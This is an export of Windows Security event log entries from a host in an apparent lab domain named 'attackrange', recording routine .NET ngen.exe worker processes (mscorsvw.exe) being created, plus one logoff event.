Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:18 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254859
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10f4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3fc -InterruptEvent 0 -NGENProcess 3d0 -Pipe 380 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:18 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254858
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xbac
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 38c -InterruptEvent 0 -NGENProcess 350 -Pipe 390 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:19 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254867
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x884
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3fc -InterruptEvent 0 -NGENProcess 3e0 -Pipe 3f4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:19 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254866
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe48
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3f4 -InterruptEvent 0 -NGENProcess 3fc -Pipe 384 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:20 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254873
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x368
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3c4 -InterruptEvent 0 -NGENProcess 398 -Pipe 39c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:20 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254872
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x898
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 398 -InterruptEvent 0 -NGENProcess 3fc -Pipe 350 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:20 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254871
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd40
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3c4 -InterruptEvent 0 -NGENProcess 350 -Pipe 3a4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:20 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254870
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x133c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 39c -InterruptEvent 0 -NGENProcess 350 -Pipe 3ec -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:20 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254869
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x138c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 39c -InterruptEvent 0 -NGENProcess 3d4 -Pipe 3cc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:20 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254868
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1D6CE0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:07:21 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254874
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1344
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 408 -InterruptEvent 0 -NGENProcess 3d4 -Pipe 398 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:24 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254877
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x124c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 38c -InterruptEvent 0 -NGENProcess 410 -Pipe 430 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:24 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254876
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11c4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3fc -InterruptEvent 0 -NGENProcess 3d0 -Pipe 3d4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:24 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254875
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1090
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3e0 -InterruptEvent 0 -NGENProcess 41c -Pipe 3a8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:25 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254878
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe38
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 420 -InterruptEvent 0 -NGENProcess 424 -Pipe 38c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254882
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5a0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3c4 -InterruptEvent 0 -NGENProcess 444 -Pipe 434 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254881
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4b4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3fc -InterruptEvent 0 -NGENProcess 408 -Pipe 420 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254880
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12b4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 404 -InterruptEvent 0 -NGENProcess 3c4 -Pipe 41c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254879
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa58
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
